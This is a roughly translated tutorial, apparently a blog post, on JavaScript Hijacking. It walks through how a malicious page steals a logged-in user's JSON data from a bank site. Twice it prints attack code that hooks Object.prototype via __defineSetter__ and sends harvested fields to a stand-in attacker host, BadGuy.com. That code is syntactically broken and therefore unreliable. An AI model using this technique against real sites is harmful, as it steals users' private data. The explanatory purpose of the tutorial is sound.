Deep understanding of JavaScript Hijacking principles

Recently, I have been sorting out information about JavaScript code security. When I checked the information about JavaScript Hijacking, I found that there was very little Chinese information about it, so I specially sorted it out.

I. Principle of JavaScript Hijacking

In fact, the idea of JavaScript Hijacking and CSRF attacks is very similar. For more information about CSRF attacks, refer to my previous introduction to CSRF attack methods. For more information about the JavaScript Hijacking attack model, see:

(1) you access the trust site (http://www.Bank.com), and then log on to the trust site.

(2). the trusted site passes your verification and returns the Cookie.

(3) At this time, before you log out of a trusted Website, you open a browser tab and access a malicious site (www.BadGuy.com ).

(4). A malicious site requests a user to access a resource of the http://www.Bank.com.

(5). the browser with the previous Cookie information, to the trust site http://www.Bank.com issued a GET request.

(6). The Cookie information verified by the trusted site passes, and a JSON array is returned based on the request. (If you are not clear about JSON, refer to the JSON Getting Started Guide.)

(7). After your browser receives a response from the http://www.Bank.com, it forwards the JSON information in the response to the malicious site.

So far, malicious sites have your http://www.Bank.com information.

Here, you should have a general concept of JavaScript Hijacking, which is indeed very similar to CSRF. The only difference is that,CSRF simulates your identity to send requests. JavaScript Hijacking simulates your identity and steals your private information on the server..

Ii. JavaScript Hijacking attack demonstration code:

 

Before demonstrating the code, you must first clarify the following points:

(1). malicious site attack target is clear (here the target is http://www.Bank.com ).

(2) The malicious site returns a JSON array of trusted websites through the user (why is it a JSON array? Isn't a common JSON object working? This will be mentioned below !), To obtain the user's private information. That is to say, the so-called private data is the data in these JSON arrays. Therefore, the trust site does not return the data in the JSON array or the information in the JSON array is junk information, this malicious site is futile.

(3) The malicious site must first know the JSON structure returned by the user.

(4). Malicious websites can only send GET requests ......

(5). browser support is required for such attacks. Let's take a look at the following.

Well, let's take a look at the attack code:>

The malicious website www.BadGuy.com attack code for www.Bank.com:

<script type="text/javascript">Object.prototype.__defineSetter__('money', function(obj) { var objString = "";  for (fld in this) {objString += fld + ": " + this[fld] + ", "; }  req.open("GET", "http://www.BadGuy.com?obj=" +escape(objString),true); } req.send(null); );</script><script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

When a user accesses a malicious Website:

<script type="text/javascript" src="http://www.Bank.com/UserInfo"></script>

 

(1). This JS Code requires the browser to send a GET request to http://www.bank.com/userinfo. as a result, the browser sends an HTTP getrequest with the corresponding cookie information as instructed.

(2) After receiving the request, www. Bank. Com confirms its identity and returns a JSON array/JavaScript code segment in response to the request.

(3) After the client accepts this JS script, if a JSON array is returned, for example:

[{"Id":3,"Name":hyddd,"Money":10000}]

 

JSON array is considered to be an executable JavaScript script, so the browser will parse and execute it.

What if a JSON object is returned?

{"Id":3,"Name":hyddd,"Money":10000}

 

Haha, this will not be executed by the browser, because the browser thinks: it is not a JavaScript script.

If it returns a JavaScript script, well, the specific problem has to be analyzed, and it may not necessarily get any data.

(4) read the following JavaScript script:

<script type="text/javascript">Object.prototype.__defineSetter__('Money', function(obj) { var objString = "";  for (fld in this) {objString += fld + ": " + this[fld] + ", "; }  req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );</script>

 

It is used to send the victim's private information to a malicious site.

Some people may not understand it here. I 'd like to say something about it:

Object. prototype. _ defineSetter __, which can be considered as a Hook in JavaScript (someone calls this JavaScript function Hijacking. Note that JavaScript function Hijacking is not the same concept as JavaScript Hijacking, the core idea of Hijacking in JavaScript should be the same as that of CSRF attacks.) Here, a Hook is set for the Object's Money attribute. In JavaScript, because all other objects are derived from objects, this Code creates a Hook for the Money attributes of all objects. When an Object sets its Money attribute, the above code is triggered. Note that :__ defineSetter _ is not supported in IE series browsers (I tried it in IE6), but FireFox series browsers certainly support it.

Var objString = ""... this is to send the victim information to a malicious site.

When the browser parses the JSON array in (3), a new object is created and assigned a value. At this time, the code above is started, and the private information is sent to the malicious site.